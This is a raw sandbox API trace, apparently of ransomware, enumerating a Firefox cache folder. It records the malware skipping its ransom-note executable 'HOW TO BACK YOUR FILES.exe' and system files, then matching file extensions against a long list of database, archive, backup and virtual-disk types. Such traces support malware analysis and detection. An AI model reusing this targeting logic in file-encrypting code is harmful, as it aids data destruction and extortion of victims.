	[0045.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0045.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x5aa558
	[0045.339] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0045.339] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F", cAlternateFileName="")) returned 1
	[0045.339] lstrcmpiW (lpString1="F", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.339] lstrcmpiW (lpString1="F", lpString2="Apollon865.txt.exe") returned 1
	[0045.339] lstrcmpiW (lpString1="F", lpString2=".") returned 1
	[0045.339] lstrcmpiW (lpString1="F", lpString2="..") returned 1
	[0045.339] lstrcmpiW (lpString1="F", lpString2="windows") returned -1
	[0045.339] lstrcmpiW (lpString1="F", lpString2="bootmgr") returned 1
	[0045.339] lstrcmpiW (lpString1="F", lpString2="temp") returned -1
	[0045.339] lstrcmpiW (lpString1="F", lpString2="pagefile.sys") returned -1
	[0045.339] lstrcmpiW (lpString1="F", lpString2="boot") returned 1
	[0045.339] lstrcmpiW (lpString1="F", lpString2="ids.txt") returned -1
	[0045.339] lstrcmpiW (lpString1="F", lpString2="ntuser.dat") returned -1
	[0045.340] lstrcmpiW (lpString1="F", lpString2="perflogs") returned -1
	[0045.340] lstrcmpiW (lpString1="F", lpString2="MSBuild") returned -1
	[0045.340] lstrlenW (lpString="F") returned 1
	[0045.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E") returned 93
	[0045.340] lstrcpyW (in: lpString1=0x2d3e608, lpString2="F" | out: lpString1="F") returned="F"
	[0045.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0045.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x5aa638
	[0045.340] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0045.340] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3316ee50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3316ee50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.340] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.340] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x851226b0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_CACHE_001_", cAlternateFileName="_CACHE~2")) returned 1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="Apollon865.txt.exe") returned -1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2=".") returned 1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="..") returned 1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="windows") returned -1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="bootmgr") returned -1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="temp") returned -1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="pagefile.sys") returned -1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="boot") returned -1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="ids.txt") returned -1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="ntuser.dat") returned -1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="perflogs") returned -1
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2="MSBuild") returned -1
	[0045.340] lstrlenW (lpString="_CACHE_001_") returned 11
	[0045.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F") returned 93
	[0045.340] lstrcpyW (in: lpString1=0x2d3e608, lpString2="_CACHE_001_" | out: lpString1="_CACHE_001_") returned="_CACHE_001_"
	[0045.340] lstrlenW (lpString="_CACHE_001_") returned 11
	[0045.340] lstrlenW (lpString="Apollon865") returned 10
	[0045.340] lstrcmpiW (lpString1="CACHE_001_", lpString2="Apollon865") returned 1
	[0045.340] lstrlenW (lpString=".dll") returned 4
	[0045.340] lstrcmpiW (lpString1="_CACHE_001_", lpString2=".dll") returned 1
	[0045.340] lstrlenW (lpString=".lnk") returned 4
	[0045.341] lstrcmpiW (lpString1="_CACHE_001_", lpString2=".lnk") returned 1
	[0045.341] lstrlenW (lpString=".ini") returned 4
	[0045.341] lstrcmpiW (lpString1="_CACHE_001_", lpString2=".ini") returned 1
	[0045.341] lstrlenW (lpString=".sys") returned 4
	[0045.341] lstrcmpiW (lpString1="_CACHE_001_", lpString2=".sys") returned 1
	[0045.341] lstrlenW (lpString="_CACHE_001_") returned 11
	[0045.341] lstrlenW (lpString="bak") returned 3
	[0045.341] lstrcmpiW (lpString1="01_", lpString2="bak") returned -1
	[0045.341] lstrlenW (lpString="ba_") returned 3
	[0045.341] lstrcmpiW (lpString1="01_", lpString2="ba_") returned -1
	[0045.341] lstrlenW (lpString="dbb") returned 3
	[0045.341] lstrcmpiW (lpString1="01_", lpString2="dbb") returned -1
	[0045.341] lstrlenW (lpString="vmdk") returned 4
	[0045.341] lstrcmpiW (lpString1="001_", lpString2="vmdk") returned -1
	[0045.341] lstrlenW (lpString="rar") returned 3
	[0045.341] lstrcmpiW (lpString1="01_", lpString2="rar") returned -1
	[0045.341] lstrlenW (lpString="zip") returned 3
	[0045.341] lstrcmpiW (lpString1="01_", lpString2="zip") returned -1
	[0045.341] lstrlenW (lpString="tgz") returned 3
	[0045.341] lstrcmpiW (lpString1="01_", lpString2="tgz") returned -1
	[0045.341] lstrlenW (lpString="vbox") returned 4
	[0045.341] lstrcmpiW (lpString1="001_", lpString2="vbox") returned -1
	[0045.341] lstrlenW (lpString="vdi") returned 3
	[0045.341] lstrcmpiW (lpString1="01_", lpString2="vdi") returned -1
	[0045.341] lstrlenW (lpString="vhd") returned 3
	[0045.341] lstrcmpiW (lpString1="01_", lpString2="vhd") returned -1
	[0045.341] lstrlenW (lpString="vhdx") returned 4
	[0045.341] lstrcmpiW (lpString1="001_", lpString2="vhdx") returned -1
	[0045.341] lstrlenW (lpString="avhd") returned 4
	[0045.341] lstrcmpiW (lpString1="001_", lpString2="avhd") returned -1
	[0045.341] lstrlenW (lpString="db") returned 2
	[0045.341] lstrcmpiW (lpString1="1_", lpString2="db") returned -1
	[0045.341] lstrlenW (lpString="db2") returned 3
	[0045.341] lstrcmpiW (lpString1="01_", lpString2="db2") returned -1
	[0045.341] lstrlenW (lpString="db3") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="db3") returned -1
	[0045.342] lstrlenW (lpString="dbf") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="dbf") returned -1
	[0045.342] lstrlenW (lpString="mdf") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="mdf") returned -1
	[0045.342] lstrlenW (lpString="mdb") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="mdb") returned -1
	[0045.342] lstrlenW (lpString="sql") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="sql") returned -1
	[0045.342] lstrlenW (lpString="sqlite") returned 6
	[0045.342] lstrcmpiW (lpString1="E_001_", lpString2="sqlite") returned -1
	[0045.342] lstrlenW (lpString="sqlite3") returned 7
	[0045.342] lstrcmpiW (lpString1="HE_001_", lpString2="sqlite3") returned -1
	[0045.342] lstrlenW (lpString="sqlitedb") returned 8
	[0045.342] lstrcmpiW (lpString1="CHE_001_", lpString2="sqlitedb") returned -1
	[0045.342] lstrlenW (lpString="xml") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="xml") returned -1
	[0045.342] lstrlenW (lpString="$er") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="$er") returned 1
	[0045.342] lstrlenW (lpString="4dd") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="4dd") returned -1
	[0045.342] lstrlenW (lpString="4dl") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="4dl") returned -1
	[0045.342] lstrlenW (lpString="^^^") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="^^^") returned 1
	[0045.342] lstrlenW (lpString="abs") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="abs") returned -1
	[0045.342] lstrlenW (lpString="abx") returned 3
	[0045.342] lstrcmpiW (lpString1="01_", lpString2="abx") returned -1
	[0045.342] lstrlenW (lpString="accdb") returned 5
	[0045.342] lstrcmpiW (lpString1="_001_", lpString2="accdb") returned -1
	[0045.342] lstrlenW (lpString="accdc") returned 5
	[0045.342] lstrcmpiW (lpString1="_001_", lpString2="accdc") returned -1
	[0045.342] lstrlenW (lpString="accde") returned 5
	[0045.343] lstrcmpiW (lpString1="_001_", lpString2="accde") returned -1
	[0045.343] lstrlenW (lpString="accdr") returned 5
	[0045.343] lstrcmpiW (lpString1="_001_", lpString2="accdr") returned -1
	[0045.343] lstrlenW (lpString="accdt") returned 5
	[0045.343] lstrcmpiW (lpString1="_001_", lpString2="accdt") returned -1
	[0045.343] lstrlenW (lpString="accdw") returned 5
	[0045.343] lstrcmpiW (lpString1="_001_", lpString2="accdw") returned -1
	[0045.343] lstrlenW (lpString="accft") returned 5
	[0045.343] lstrcmpiW (lpString1="_001_", lpString2="accft") returned -1
	[0045.343] lstrlenW (lpString="adb") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="adb") returned -1
	[0045.343] lstrlenW (lpString="adb") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="adb") returned -1
	[0045.343] lstrlenW (lpString="ade") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="ade") returned -1
	[0045.343] lstrlenW (lpString="adf") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="adf") returned -1
	[0045.343] lstrlenW (lpString="adn") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="adn") returned -1
	[0045.343] lstrlenW (lpString="adp") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="adp") returned -1
	[0045.343] lstrlenW (lpString="alf") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="alf") returned -1
	[0045.343] lstrlenW (lpString="ask") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="ask") returned -1
	[0045.343] lstrlenW (lpString="btr") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="btr") returned -1
	[0045.343] lstrlenW (lpString="cat") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="cat") returned -1
	[0045.343] lstrlenW (lpString="cdb") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="cdb") returned -1
	[0045.343] lstrlenW (lpString="ckp") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="ckp") returned -1
	[0045.343] lstrlenW (lpString="cma") returned 3
	[0045.343] lstrcmpiW (lpString1="01_", lpString2="cma") returned -1
	[0045.343] lstrlenW (lpString="cpd") returned 3
	[0045.344] lstrcmpiW (lpString1="01_", lpString2="cpd") returned -1
	[0045.344] lstrlenW (lpString="dacpac") returned 6
	[0045.344] lstrcmpiW (lpString1="E_001_", lpString2="dacpac") returned 1
	[0045.344] lstrlenW (lpString="dad") returned 3
	[0045.344] lstrcmpiW (lpString1="01_", lpString2="dad") returned -1
	[0045.344] lstrlenW (lpString="dadiagrams") returned 10
	[0045.344] lstrcmpiW (lpString1="CACHE_001_", lpString2="dadiagrams") returned -1
	[0045.344] lstrlenW (lpString="daschema") returned 8
	[0045.344] lstrcmpiW (lpString1="CHE_001_", lpString2="daschema") returned -1
	[0045.344] lstrlenW (lpString="db-journal") returned 10
	[0045.344] lstrcmpiW (lpString1="CACHE_001_", lpString2="db-journal") returned -1
	[0045.344] lstrlenW (lpString="db-shm") returned 6
	[0045.344] lstrcmpiW (lpString1="E_001_", lpString2="db-shm") returned 1
	[0045.344] lstrlenW (lpString="db-wal") returned 6
	[0045.344] lstrcmpiW (lpString1="E_001_", lpString2="db-wal") returned 1
	[0045.344] lstrlenW (lpString="dbc") returned 3
	[0045.344] lstrcmpiW (lpString1="01_", lpString2="dbc") returned -1
	[0045.344] lstrlenW (lpString="dbs") returned 3
	[0045.344] lstrcmpiW (lpString1="01_", lpString2="dbs") returned -1
	[0045.344] lstrlenW (lpString="dbt") returned 3
	[0045.344] lstrcmpiW (lpString1="01_", lpString2="dbt") returned -1
	[0045.344] lstrlenW (lpString="dbv") returned 3
	[0045.344] lstrcmpiW (lpString1="01_", lpString2="dbv") returned -1
	[0045.344] lstrlenW (lpString="dbx") returned 3
	[0045.344] lstrcmpiW (lpString1="01_", lpString2="dbx") returned -1
	[0045.344] lstrlenW (lpString="dcb") returned 3
	[0045.344] lstrcmpiW (lpString1="01_", lpString2="dcb") returned -1
	[0045.344] lstrlenW (lpString="dct") returned 3
	[0045.344] lstrcmpiW (lpString1="01_", lpString2="dct") returned -1
	[0045.344] lstrlenW (lpString="dcx") returned 3
	[0045.344] lstrcmpiW (lpString1="01_", lpString2="dcx") returned -1
	[0045.344] lstrlenW (lpString="ddl") returned 3
	[0045.344] lstrcmpiW (lpString1="01_", lpString2="ddl") returned -1
	[0045.344] lstrlenW (lpString="dlis") returned 4
	[0045.344] lstrcmpiW (lpString1="001_", lpString2="dlis") returned -1
	[0045.345] lstrlenW (lpString="dp1") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="dp1") returned -1
	[0045.345] lstrlenW (lpString="dqy") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="dqy") returned -1
	[0045.345] lstrlenW (lpString="dsk") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="dsk") returned -1
	[0045.345] lstrlenW (lpString="dsn") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="dsn") returned -1
	[0045.345] lstrlenW (lpString="dtsx") returned 4
	[0045.345] lstrcmpiW (lpString1="001_", lpString2="dtsx") returned -1
	[0045.345] lstrlenW (lpString="dxl") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="dxl") returned -1
	[0045.345] lstrlenW (lpString="eco") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="eco") returned -1
	[0045.345] lstrlenW (lpString="ecx") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="ecx") returned -1
	[0045.345] lstrlenW (lpString="edb") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="edb") returned -1
	[0045.345] lstrlenW (lpString="epim") returned 4
	[0045.345] lstrcmpiW (lpString1="001_", lpString2="epim") returned -1
	[0045.345] lstrlenW (lpString="fcd") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="fcd") returned -1
	[0045.345] lstrlenW (lpString="fdb") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="fdb") returned -1
	[0045.345] lstrlenW (lpString="fic") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="fic") returned -1
	[0045.345] lstrlenW (lpString="flexolibrary") returned 12
	[0045.345] lstrlenW (lpString="fm5") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="fm5") returned -1
	[0045.345] lstrlenW (lpString="fmp") returned 3
	[0045.345] lstrcmpiW (lpString1="01_", lpString2="fmp") returned -1
	[0045.345] lstrlenW (lpString="fmp12") returned 5
	[0045.345] lstrcmpiW (lpString1="_001_", lpString2="fmp12") returned -1
	[0045.345] lstrlenW (lpString="fmpsl") returned 5
	[0045.346] lstrcmpiW (lpString1="_001_", lpString2="fmpsl") returned -1
	[0045.346] lstrlenW (lpString="fol") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="fol") returned -1
	[0045.346] lstrlenW (lpString="fp3") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="fp3") returned -1
	[0045.346] lstrlenW (lpString="fp4") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="fp4") returned -1
	[0045.346] lstrlenW (lpString="fp5") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="fp5") returned -1
	[0045.346] lstrlenW (lpString="fp7") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="fp7") returned -1
	[0045.346] lstrlenW (lpString="fpt") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="fpt") returned -1
	[0045.346] lstrlenW (lpString="frm") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="frm") returned -1
	[0045.346] lstrlenW (lpString="gdb") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="gdb") returned -1
	[0045.346] lstrlenW (lpString="gdb") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="gdb") returned -1
	[0045.346] lstrlenW (lpString="grdb") returned 4
	[0045.346] lstrcmpiW (lpString1="001_", lpString2="grdb") returned -1
	[0045.346] lstrlenW (lpString="gwi") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="gwi") returned -1
	[0045.346] lstrlenW (lpString="hdb") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="hdb") returned -1
	[0045.346] lstrlenW (lpString="his") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="his") returned -1
	[0045.346] lstrlenW (lpString="ib") returned 2
	[0045.346] lstrcmpiW (lpString1="1_", lpString2="ib") returned -1
	[0045.346] lstrlenW (lpString="idb") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="idb") returned -1
	[0045.346] lstrlenW (lpString="ihx") returned 3
	[0045.346] lstrcmpiW (lpString1="01_", lpString2="ihx") returned -1
	[0045.346] lstrlenW (lpString="itdb") returned 4
	[0045.347] lstrcmpiW (lpString1="001_", lpString2="itdb") returned -1
	[0045.347] lstrlenW (lpString="itw") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="itw") returned -1
	[0045.347] lstrlenW (lpString="jet") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="jet") returned -1
	[0045.347] lstrlenW (lpString="jtx") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="jtx") returned -1
	[0045.347] lstrlenW (lpString="kdb") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="kdb") returned -1
	[0045.347] lstrlenW (lpString="kexi") returned 4
	[0045.347] lstrcmpiW (lpString1="001_", lpString2="kexi") returned -1
	[0045.347] lstrlenW (lpString="kexic") returned 5
	[0045.347] lstrcmpiW (lpString1="_001_", lpString2="kexic") returned -1
	[0045.347] lstrlenW (lpString="kexis") returned 5
	[0045.347] lstrcmpiW (lpString1="_001_", lpString2="kexis") returned -1
	[0045.347] lstrlenW (lpString="lgc") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="lgc") returned -1
	[0045.347] lstrlenW (lpString="lwx") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="lwx") returned -1
	[0045.347] lstrlenW (lpString="maf") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="maf") returned -1
	[0045.347] lstrlenW (lpString="maq") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="maq") returned -1
	[0045.347] lstrlenW (lpString="mar") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="mar") returned -1
	[0045.347] lstrlenW (lpString="marshal") returned 7
	[0045.347] lstrcmpiW (lpString1="HE_001_", lpString2="marshal") returned -1
	[0045.347] lstrlenW (lpString="mas") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="mas") returned -1
	[0045.347] lstrlenW (lpString="mav") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="mav") returned -1
	[0045.347] lstrlenW (lpString="maw") returned 3
	[0045.347] lstrcmpiW (lpString1="01_", lpString2="maw") returned -1
	[0045.347] lstrlenW (lpString="mdbhtml") returned 7
	[0045.347] lstrcmpiW (lpString1="HE_001_", lpString2="mdbhtml") returned -1
	[0045.347] lstrlenW (lpString="mdn") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="mdn") returned -1
	[0045.348] lstrlenW (lpString="mdt") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="mdt") returned -1
	[0045.348] lstrlenW (lpString="mfd") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="mfd") returned -1
	[0045.348] lstrlenW (lpString="mpd") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="mpd") returned -1
	[0045.348] lstrlenW (lpString="mrg") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="mrg") returned -1
	[0045.348] lstrlenW (lpString="mud") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="mud") returned -1
	[0045.348] lstrlenW (lpString="mwb") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="mwb") returned -1
	[0045.348] lstrlenW (lpString="myd") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="myd") returned -1
	[0045.348] lstrlenW (lpString="ndf") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="ndf") returned -1
	[0045.348] lstrlenW (lpString="nnt") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="nnt") returned -1
	[0045.348] lstrlenW (lpString="nrmlib") returned 6
	[0045.348] lstrcmpiW (lpString1="E_001_", lpString2="nrmlib") returned -1
	[0045.348] lstrlenW (lpString="ns2") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="ns2") returned -1
	[0045.348] lstrlenW (lpString="ns3") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="ns3") returned -1
	[0045.348] lstrlenW (lpString="ns4") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="ns4") returned -1
	[0045.348] lstrlenW (lpString="nsf") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="nsf") returned -1
	[0045.348] lstrlenW (lpString="nv") returned 2
	[0045.348] lstrcmpiW (lpString1="1_", lpString2="nv") returned -1
	[0045.348] lstrlenW (lpString="nv2") returned 3
	[0045.348] lstrcmpiW (lpString1="01_", lpString2="nv2") returned -1
	[0045.348] lstrlenW (lpString="nwdb") returned 4
	[0045.348] lstrcmpiW (lpString1="001_", lpString2="nwdb") returned -1
	[0045.349] lstrlenW (lpString="nyf") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="nyf") returned -1
	[0045.349] lstrlenW (lpString="odb") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="odb") returned -1
	[0045.349] lstrlenW (lpString="odb") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="odb") returned -1
	[0045.349] lstrlenW (lpString="oqy") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="oqy") returned -1
	[0045.349] lstrlenW (lpString="ora") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="ora") returned -1
	[0045.349] lstrlenW (lpString="orx") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="orx") returned -1
	[0045.349] lstrlenW (lpString="owc") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="owc") returned -1
	[0045.349] lstrlenW (lpString="p96") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="p96") returned -1
	[0045.349] lstrlenW (lpString="p97") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="p97") returned -1
	[0045.349] lstrlenW (lpString="pan") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="pan") returned -1
	[0045.349] lstrlenW (lpString="pdb") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="pdb") returned -1
	[0045.349] lstrlenW (lpString="pdm") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="pdm") returned -1
	[0045.349] lstrlenW (lpString="pnz") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="pnz") returned -1
	[0045.349] lstrlenW (lpString="qry") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="qry") returned -1
	[0045.349] lstrlenW (lpString="qvd") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="qvd") returned -1
	[0045.349] lstrlenW (lpString="rbf") returned 3
	[0045.349] lstrcmpiW (lpString1="01_", lpString2="rbf") returned -1
	[0045.349] lstrlenW (lpString="rctd") returned 4
	[0045.349] lstrcmpiW (lpString1="001_", lpString2="rctd") returned -1
	[0045.350] lstrlenW (lpString="rod") returned 3
	[0045.350] lstrcmpiW (lpString1="01_", lpString2="rod") returned -1
	[0045.350] lstrlenW (lpString="rodx") returned 4
	[0045.350] lstrcmpiW (lpString1="001_", lpString2="rodx") returned -1
	[0045.350] lstrlenW (lpString="rpd") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="rpd") returned -1
	[0045.351] lstrlenW (lpString="rsd") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="rsd") returned -1
	[0045.351] lstrlenW (lpString="sas7bdat") returned 8
	[0045.351] lstrcmpiW (lpString1="CHE_001_", lpString2="sas7bdat") returned -1
	[0045.351] lstrlenW (lpString="sbf") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="sbf") returned -1
	[0045.351] lstrlenW (lpString="scx") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="scx") returned -1
	[0045.351] lstrlenW (lpString="sdb") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="sdb") returned -1
	[0045.351] lstrlenW (lpString="sdc") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="sdc") returned -1
	[0045.351] lstrlenW (lpString="sdf") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="sdf") returned -1
	[0045.351] lstrlenW (lpString="sis") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="sis") returned -1
	[0045.351] lstrlenW (lpString="spq") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="spq") returned -1
	[0045.351] lstrlenW (lpString="te") returned 2
	[0045.351] lstrcmpiW (lpString1="1_", lpString2="te") returned -1
	[0045.351] lstrlenW (lpString="teacher") returned 7
	[0045.351] lstrcmpiW (lpString1="HE_001_", lpString2="teacher") returned -1
	[0045.351] lstrlenW (lpString="tmd") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="tmd") returned -1
	[0045.351] lstrlenW (lpString="tps") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="tps") returned -1
	[0045.351] lstrlenW (lpString="trc") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="trc") returned -1
	[0045.351] lstrlenW (lpString="trc") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="trc") returned -1
	[0045.351] lstrlenW (lpString="trm") returned 3
	[0045.351] lstrcmpiW (lpString1="01_", lpString2="trm") returned -1
	[0045.351] lstrlenW (lpString="udb") returned 3
	[0045.352] lstrcmpiW (lpString1="01_", lpString2="udb") returned -1
	[0045.352] lstrlenW (lpString="udl") returned 3
	[0045.352] lstrcmpiW (lpString1="01_", lpString2="udl") returned -1
	[0045.352] lstrlenW (lpString="usr") returned 3
	[0045.352] lstrcmpiW (lpString1="01_", lpString2="usr") returned -1
	[0045.352] lstrlenW (lpString="v12") returned 3
	[0045.352] lstrcmpiW (lpString1="01_", lpString2="v12") returned -1
	[0045.352] lstrlenW (lpString="vis") returned 3
	[0045.352] lstrcmpiW (lpString1="01_", lpString2="vis") returned -1
	[0045.352] lstrlenW (lpString="vpd") returned 3
	[0045.352] lstrcmpiW (lpString1="01_", lpString2="vpd") returned -1
	[0045.352] lstrlenW (lpString="vvv") returned 3
